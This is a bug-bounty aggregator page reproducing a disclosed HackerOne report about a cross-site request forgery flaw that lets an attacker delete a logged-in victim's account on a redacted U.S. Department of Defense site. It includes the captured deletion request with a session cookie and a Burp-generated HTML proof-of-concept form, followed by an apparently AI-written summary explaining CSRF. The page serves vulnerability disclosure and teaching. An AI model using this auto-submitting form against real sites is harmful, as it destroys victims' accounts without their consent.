Skip to content
CSRF Disclosed report Beginner

CSRF to delete accounts [HtUS]

The account deletion endpoint lacked CSRF protection, so an attacker could craft a page that automatically submits a deletion request on behalf of a logged-in victim. If the victim visited the attacker's page, their account would be deleted.

nightm4re Follow

Originally disclosed on HackerOne

  • Disclosed after 10 months

Hello, I Have an endpoint in ██████████that's vulerable to CSRF which lead to delete a victim's account

Steps to reproduce:

  1. Nevgaite to ███Create an account
  2. Click on your profile
  3. You will see DELETE ACCOUNT button
  4. Click on it and type YES in the input
  5. Make sure your burpsuite is on and click delete account button
POST /users/deleteAccount HTTP/1.1
Host: ██████
Cookie: _ga=GA1.2.984523169.1657131465; _gid=GA1.2.2029769492.1657131465; session=eyJwYXNzcG9ydCI6eyJ1c2VyIjoibmlnaHRtNHJlQHdlYXJlaGFja2Vyb25lLmNvbSJ9fQ==; session.sig=S8rkHNPfoRIIU66VUCbDCaV_Kb4; _ga_FCSTM1E00P=GS1.1.1657145372.2.1.1657145650.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://███████
Referer: https://█████/users/deleteAccount
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
Te: trailers
Connection: close
  1. Capture the request and click right > Engagement Tools > Generate CSRF POC
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://████/users/deleteAccount" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
  1. Copy the HTML Code and put to your server and send the page to the victim
  2. Once the vicitm opnening the page his account will be deleted

Impact

An attacker can delete vicitm's account

The original report as published on HackerOne, by nightm4re. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could delete a victim's account if the victim visited a malicious page while logged in.

What the attacker needed

Victim is logged in; victim visits attacker's page

How it was found

  1. Create an account and go to the profile page.
  2. Click the DELETE ACCOUNT button and type YES in the input.
  3. With Burp Suite running, click delete account and capture the request.
  4. Generate a CSRF PoC from the captured request.
  5. Host the HTML page on a server and send the link to the victim.
  6. When the victim opens the page, their account is deleted.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user knowing. Here, the delete-account action had no protection, so a simple page could trigger it. The victim just had to visit the attacker's page while logged in.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by nightm4re

View all

5 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.